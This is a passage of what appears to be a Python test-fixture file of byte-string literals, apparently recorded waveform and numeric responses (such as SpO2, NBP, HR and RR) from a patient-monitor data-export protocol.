b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x28\x04\x3e\x04\x57\x04\x76\x04\x99\x04\xc0\x04\xec" \
b"\x05\x1d\x05\x51\x05\x89\x05\xc5\x06\x05\x06\x47\x06\x8c\x06\xd3" \
b"\x07\x1c\x07\x67\x07\xb3\x07\xff\x08\x4c\x08\x99\x08\xe4\x09\x2f" \
b"\x09\x78\x09\xbf\x0a\x03\x0a\x44\x0a\x83\x0a\xbd\x0a\xf3\x0b\x25" \
b"\x0b\x53"
rsp_wave_7_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\x50\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xff\x20\x04\x20\x0c\x20\x14\x20\x1c\x20\x26\x20\x2f" \
b"\x20\x38\x20\x42\x20\x4b\x20\x55\x20\x5e\x20\x68\x20\x71\x20\x7a" \
b"\x20\x83\x20\x8d\x20\x96\x20\x9f\x20\xa8\x20\xad\x20\xab\x20\xa6" \
b"\x20\x9e\x20\x95\x20\x8c\x20\x82\x20\x78\x20\x6e\x20\x63\x20\x59" \
b"\x20\x4f\x20\x45\x20\x3a\x20\x30\x20\x26\x20\x1c\x20\x12\x20\x08" \
b"\x1f\xff\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa0\x84\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfe\x20\x00\x20\x02\x20\x06\x20\x08\x20\x0b" \
b"\x20\x0e\x20\x10\x20\x13\x20\x17\x20\x18\x20\x1a\x20\x1d\x20\x20" \
b"\x20\x23\x20\x25\x20\x28\x20\x2b\x20\x2e\x20\x31\x20\x31\x20\x30" \
b"\x20\x2e\x20\x2d\x20\x2a\x20\x26\x20\x24\x20\x20\x20\x1f\x20\x1b" \
b"\x20\x19\x20\x15\x20\x14\x20\x10\x20\x0c\x20\x0a\x20\x08\x20\x04" \
b"\x20\x01\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\xa1\x04\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x20\x01\x20\x05\x20\x0b\x20\x11\x20\x15\x20\x1d\x20\x23" \
b"\x20\x29\x20\x31\x20\x37\x20\x3d\x20\x45\x20\x4d\x20\x53\x20\x59" \
b"\x20\x5f\x20\x67\x20\x6d\x20\x73\x20\x79\x20\x7b\x20\x79\x20\x75" \
b"\x20\x6f\x20\x67\x20\x61\x20\x5b\x20\x53\x20\x4d\x20\x43\x20\x3d" \
b"\x20\x35\x20\x2f\x20\x25\x20\x1f\x20\x19\x20\x11\x20\x09\x20\x03" \
b"\x1f\xfd\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0b\x7b\x0b\x9f\x0b\xbd\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe" \
b"\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b" \
b"\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0\x0a\x9d\x0a\x68\x0a\x31\x09\xf9" \
b"\x09\xbf\x09\x85\x09\x4b\x09\x10\x08\xd7\x08\x9e\x08\x66\x08\x30" \
b"\x07\xfb"
rsp_wave_7_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\x58\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xf7\x1f\xf3\x1f\xf0\x1f\xee\x1f\xed\x1f\xed\x1f\xec" \
b"\x1f\xec\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2\x1f\xf1\x1f\xf0\x1f\xf0\x1f\xef" \
b"\x1f\xed\x1f\xed\x1f\xec\x1f\xeb\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7" \
b"\x1f\xe6\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfa" \
b"\x1f\xfa\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfa\x1f\xfa\x1f\xfa\x1f\xfa\x1f\xfa\x1f\xfa" \
b"\x1f\xfa\x1f\xfa\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfa\x1f\xfa\x1f\xfa\x1f\xfa\x1f\xfa\x1f\xfa" \
b"\x1f\xfa\x1f\xfa\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xff\x1f\xff\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x20\x00\x20\x00\x20\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xfe\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb" \
b"\x1f\xfb\x1f\xfb\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xf9" \
b"\x1f\xf8\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xf7\x1f\xf5\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef\x1f\xed\x1f\xed" \
b"\x1f\xed\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x07\xc9\x07\x99\x07\x6b\x07\x40\x07\x18\x06\xf3\x06\xd2" \
b"\x06\xb3\x06\x97\x06\x7f\x06\x69\x06\x57\x06\x47\x06\x3a\x06\x2f" \
b"\x06\x27\x06\x21\x06\x1d\x06\x1a\x06\x19\x06\x19\x06\x1a\x06\x1b" \
b"\x06\x1d\x06\x1e\x06\x20\x06\x20\x06\x20\x06\x1f\x06\x1d\x06\x1a" \
b"\x06\x15"
rsp_nu_8_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\x8f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_8_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\x8f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
